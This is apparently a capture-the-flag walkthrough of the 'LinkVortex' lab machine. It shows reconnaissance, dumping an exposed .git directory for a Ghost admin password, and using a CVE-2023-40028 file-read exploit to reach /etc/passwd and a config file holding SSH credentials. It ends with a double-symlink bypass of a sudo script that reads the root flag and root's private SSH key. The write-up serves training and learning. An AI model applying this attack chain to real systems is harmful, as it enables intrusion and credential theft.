Reconnaissance
nmap/TCP
nmap finds two open TCP ports, SSH (22) and HTTP (80):
croc@hacker$ rustscan -a 10.10.11.47 --ulimit 5000 -- -A -T5 -oA Initial
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.47:22
Open 10.10.11.47:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -oA Initial -vvv -p 22,80 10.10.11.47
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up, received syn-ack (0.25s latency).
Scanned at 2025-01-05 08:59:07 EST for 25s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
| 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open http syn-ack Apache httpd
|_http-server-header: Apache
|_http-generator: Ghost 5.58
|_http-title: BitByBit Hardware
| http-methods:
|_ Supported Methods: POST GET HEAD OPTIONS
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelnmap/UDP
Found nothing of interest in the UDP Scan:
croc@hacker$ sudo nmap -sU --top-ports 500 -T3 -oN MainUDPScan linkvortex.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-05 09:11 EST
Stats: 0:08:16 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 96.40% done; ETC: 09:20 (0:00:19 remaining)
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.23s latency).
Not shown: 499 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
Nmap done: 1 IP address (1 host up) scanned in 542.91 secondsGhost Version – 5.58
Enumerating on the Ghost Version, I found the following exploit on GitHub:
GitHub – 0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028: CVE-2023-40028 affects Ghost, an open source content management system, where versions prior to 5.59.1 allow authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system.
CVE-2023-40028 affects Ghost, an open source content management system, where versions prior to 5.59.1 allow authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. – 0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
But, it requires a pair of credentials to work which we don’t have currently. So, just keep that in your back pocket for now.
Website – 80/TCP
Main Page
Directory Busting
Directory Enumeration didn’t reveal anything of interest:
croc@hacker$ sudo dirsearch -u http://linkvortex.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 20476
Output File: /home/kali/HTB/linkvortex/reports/http_linkvortex.htb/_25-01-05_09-02-47.txt
Target: http://linkvortex.htb/
[09:02:47] Starting:
[09:03:23] 200 - 1KB - /LICENSE
[09:04:05] 301 - 179B - /assets -> /assets/
[09:04:52] 404 - 7KB - /cgi-bin/
[09:06:25] 200 - 15KB - /favicon.ico
[09:09:45] 301 - 183B - /partials -> /partials/
[09:11:13] 200 - 103B - /robots.txt
[09:11:45] 403 - 199B - /server-status
[09:12:05] 200 - 257B - /sitemap.xml
Task Completed/robots.txt
/ghost
I found a login page here:
Brute Forcing won’t give any benefit because ghost is rate limited by default. Let’s enumerate further!
theHarvester
I found a bunch of usernames here along with a subdomain host:
croc@hacker$ theHarvester -d linkvortex.htb -b bing
Read proxies.yaml from /home/kali/.theHarvester/proxies.yaml
*******************************************************************
* _ _ _ *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| _ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* theHarvester 4.6.0 *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
* *
*******************************************************************
[*] Target: linkvortex.htb
Read api-keys.yaml from /home/kali/.theHarvester/api-keys.yaml
Searching 0 results.
[*] Searching Bing.
[*] No IPs found.
[*] Emails found: 3
----------------------
admin@linkvortex.htb
bob@linkvortex.htb
dev@linkvortex.htb
[*] Hosts found: 1
---------------------
dev.linkvortex.htbI indeed verified the presence of dev.linkvortex.htb using ffuf:
croc@hacker$ ffuf -c -u http://linkvortex.htb/ -H "Host: FUZZ.linkvortex.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://linkvortex.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 288ms]
:: Progress: [653910/653910] :: Job [1/1] :: 142 req/sec :: Duration: [2:30:27] :: Errors: 1519 ::
dev.linkvortex.htb
Site
Oops I forgot to add it in hosts file:
Now, we can see it:
Directory Enumeration
Directory Enumeration revealed the .git directory which is known to contain some really sensitive stuff.
croc@hacker$ sudo dirsearch -u http://dev.linkvortex.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 20476
Output File: /home/kali/HTB/linkvortex/linkvortex.htb/reports/http_dev.linkvortex.htb/_25-01-05_11-59-05.txt
Target: http://dev.linkvortex.htb/
[11:59:05] Starting:
[11:59:10] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
Task Completed
/.git
Dumping the .git directory
git-dumper
We will be using git-dumper tool inside of a Python Virtual Environment to dump this .git directory. We’re using a Virtual Environment as they’re externally managed by apt inside of Kali Linux leaving the default environment untouched. Use the following commands to set it up:
virtualenv my_git
cd my_git
source ./bin/activate
python3 -m pip install git-dumperNow, I will dump this .git directory into a directory we named as loot:
(my_git)croc@hacker$ git-dumper http://dev.linkvortex.htb/.git loot
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/exclude [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/v5.57.3 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.idx [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index
(my_git)croc@hacker$ ls
bin lib loot pyvenv.cfg
(my_git)croc@hacker$ cd loot
(my_git)croc@hacker$ ls
apps Dockerfile.ghost ghost LICENSE nx.json package.json PRIVACY.md README.md SECURITY.md yarn.lock
(my_git)croc@hacker$ deactivate Dumping the Secrets from loot
gitleaks
In order to dump secrets like passwords, api keys, etc. out of this loot directory, we’ll be using another tool called gitleaks. You need to have two things to get going:
1. Download latest release for your system from:
Releases · gitleaks/gitleaks · GitHub
Find secrets with Gitleaks 🔑. Contribute to gitleaks/gitleaks development by creating an account on GitHub.
2. Download gitleaks.toml file from:
gitleaks/config at master · gitleaks/gitleaks · GitHub
Find secrets with Gitleaks 🔑. Contribute to gitleaks/gitleaks development by creating an account on GitHub.
I have saved both of these into my /opt/gitleaks folder and will be using it from there while pointing to the loot directory.
croc@hacker:/opt/gitleaks$ sudo ./gitleaks -c gitleaks.toml -r findings.json dir /home/croc/HTB/linkvortex/git/my_git/loot
○
│╲
│ ○
○ ░
░ gitleaks
10:20AM INF scanned ~31628339 bytes (31.63 MB) in 9.59s
10:20AM WRN leaks found: 67Findings.json
I found a password here:
croc@hacker:/opt/gitleaks$ cat findings.json | grep -n password
1008: "Match": "password = 'OctopiFociPilfer45'",This password was found inside the /ghost/core/test/regression/api/admin/authentication.test.js file & is most likely the password for the admin account.
Logging into Ghost Admin Dashboard
Let’s try to log in into the Ghost Admin Dashboard with the password found:
And, I got in!! Hohooo!!
Shell as Bob
Recall the exploit we found at the very start that required a pair of credential to work. Now, as we have a pair of valid credentials, let’s test that out!
Exploiting Ghost CMS – 5.58
Cloning the Repo
croc@hacker$ git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
Cloning into 'Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 20 (delta 3), reused 9 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (20/20), 8.38 KiB | 329.00 KiB/s, done.
Resolving deltas: 100% (3/3), done.
croc@hacker$ cd Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
croc@hacker$ ls -la
total 16
drwxrwxr-x 2 croc croc 4096 Jan 11 02:42 .
drwxrwxr-x 7 croc croc 4096 Jan 8 08:39 ..
-rwxrwxr-x 1 croc croc 3166 Jan 7 10:49 CVE-2023-40028
-rw-rw-r-- 1 croc croc 3076 Jan 7 10:49 README.md
croc@hacker$ ./CVE-2023-40028
Usage: ./CVE-2023-40028 -u <username> -p <password> -h <host_url>
Example: ./CVE-2023-40028 -u admin -p admin123 -h http://127.0.0.1This exploit will take benefit of a vulnerability in the Ghost CMS to read arbitrary files from the server. You can read more at the GitHub page.
Read File Access
We tried the pair of credentials we found above & it worked!
croc@hacker$ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit):We have arbitrary file read access. I can see the /etc/passwd file:
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bashEnumerating Ghost Config Files
Researching about Ghost on Google & AI, I found /var/www/ghost/config.production.json file to be a sensitive configuration file but, unfortunately this file doesn’t exist here.
Enter the file path to read (or type 'exit' to quit): /var/www/ghost/config.production.json
File content:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Not Found</pre>
</body>
</html>Upon further searching, I found out that sometimes when Ghost might be installed via Docker, paths may differ based on the container configuration. In such cases, configuration files are often mounted in /var/lib/ghost/ or similar directories. So, I tried that out and guess what, this file exists and revealed the password for bob@linkvortex.htb.
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}SSH
I gained initial shell access with the above set of credential via ssh:
croc@hacker$ ssh bob@10.10.11.47
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ user.txt
bob@linkvortex:~$ cat user.txt
8e1b7786cc5*********************Shell as Root
Enumeration
Sudo Privileges
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Bob can execute clean_symlink.sh as sudo without a password. The *.png is a shell glob pattern that allows Bob to run the script on any .png file. Additionally, the CHECK_CONTENT environment variable is preserved, meaning its value remains available inside the script even when executed with sudo.
Let’s see what that bash file is doing.
clean_symlink.sh
Note that we do not have write permissions to the file:
bob@linkvortex:~$ ls -la /opt/ghost/clean_symlink.sh
-rwxr--r-- 1 root root 745 Nov 1 08:46 /opt/ghost/clean_symlink.shHere’s the script inside this file:
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
In a nutshell, the script detects symbolic links in .png files. If the link points to a sensitive location (/etc or /root), it gets removed. Otherwise, the .png file is moved to a quarantine folder at /var/quarantined, and its content may be displayed if CHECK_CONTENT=true.
Let me give you a practical demonstration of how this is working.
Testing the Functionality
I created a file intro.txt where I put my introduction in German(Just for fun). Then, I created a symbolic link named test.png pointing to intro.txt.
bob@linkvortex:~$ echo "Hallo! Ich bin Haseeb und ich komme aus Pakistan. Ich bin student im universitat" > intro.txt
bob@linkvortex:~$ ln -s /home/bob/intro.txt test.png
bob@linkvortex:~$ ls -la
total 40
drwxr-x--- 5 bob bob 4096 Feb 23 19:26 .
drwxr-xr-x 3 root root 4096 Nov 30 10:07 ..
lrwxrwxrwx 1 root root 9 Apr 1 2024 .bash_history -> /dev/null
-rw-r--r-- 1 bob bob 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 bob bob 3771 Jan 6 2022 .bashrc
drwx------ 2 bob bob 4096 Nov 1 08:40 .cache
drwx------ 3 bob bob 4096 Feb 22 22:39 .gnupg
drwxrwxr-x 3 bob bob 4096 Feb 22 22:48 .local
-rw-r--r-- 1 bob bob 807 Jan 6 2022 .profile
-rw-rw-r-- 1 bob bob 81 Feb 23 19:25 intro.txt
lrwxrwxrwx 1 bob bob 19 Feb 23 19:26 test.png -> /home/bob/intro.txt
-rw-r----- 1 root bob 33 Feb 22 21:58 user.txt
After that, I fed the test.png file into the clean_symlink.sh script with CHECK_CONTENT=true. This gave the content of intro.txt file as output:
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/test.png
Link found [ /home/bob/test.png ] , moving it to quarantine
Content:
Hallo! Ich bin Haseeb und ich komme aus Pakistan. Ich bin student im universitat
This printed out the contents of intro.txt file we created above.
💡 Think Box
Now, how can we utilize that to get the root flag?
Our target is /root/root.txt but we can’t directly create a symbolic link to that because the clean_symlink.sh script removes direct symbolic links pointing to sensitive locations (e.g., /root/ or /etc). However, there is a workaround for this.
Workaround
The above script only checks for the first level of the symlink. Instead of directly creating a symlink to /root/root.txt, we can try doing it in two steps.
exploit.png → /home/bob/supportmeonpatreon.txt → /root/root.txt
First, I created a symlink named supportmeonpatreon.txt pointing to /root/root.txt & then I created another symlink named exploit.png pointing to /home/bob/supportmeonpatreon.txt.
bob@linkvortex:~$ ln -s /root/root.txt supportmeonpatreon.txt
bob@linkvortex:~$ ln -s /home/bob/supportmeonpatreon.txt exploit.png
bob@linkvortex:~$ ls -la
total 28
drwxr-x--- 3 bob bob 4096 Jan 11 08:21 .
drwxr-xr-x 3 root root 4096 Nov 30 10:07 ..
lrwxrwxrwx 1 root root 9 Apr 1 2024 .bash_history -> /dev/null
-rw-r--r-- 1 bob bob 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 bob bob 3771 Jan 6 2022 .bashrc
drwx------ 2 bob bob 4096 Nov 1 08:40 .cache
-rw-r--r-- 1 bob bob 807 Jan 6 2022 .profile
lrwxrwxrwx 1 bob bob 32 Jan 11 08:21 exploit.png -> /home/bob/supportmeonpatreon.txt
lrwxrwxrwx 1 bob bob 14 Jan 11 08:20 supportmeonpatreon.txt -> /root/root.txt
-rw-r----- 1 root bob 33 Jan 11 02:35 user.txtNext, I ran the exploit.png file through the clean_symlink.sh script with CHECK_CONTENT=true, successfully obtaining the root flag.
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/exploit.png
Link found [ /home/bob/exploit.png ] , moving it to quarantine
Content:
ba8bce*********************Post Root
SSH
We got the root flag but lack a consistent shell session. Luckily, I found a SSH Private Key for the root user:
bob@linkvortex:~$ ln -s /root/.ssh/id_rsa ssh_key
bob@linkvortex:~$ ln -s /home/bob/ssh_key letmein.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/letmein.png
Link found [ /home/bob/letmein.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----Using the Private Key, I gained SSH access as the root user for a consistent shell access.
croc@hacker:~/HTB/linkvortex$ chmod 600 id_rsa
croc@hacker:~/HTB/linkvortex$ ssh -i id_rsa root@10.10.11.47
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Feb 23 03:14:49 2025 from 10.10.16.6
root@linkvortex:~# whoami
root
root@linkvortex:~# ls
root.txt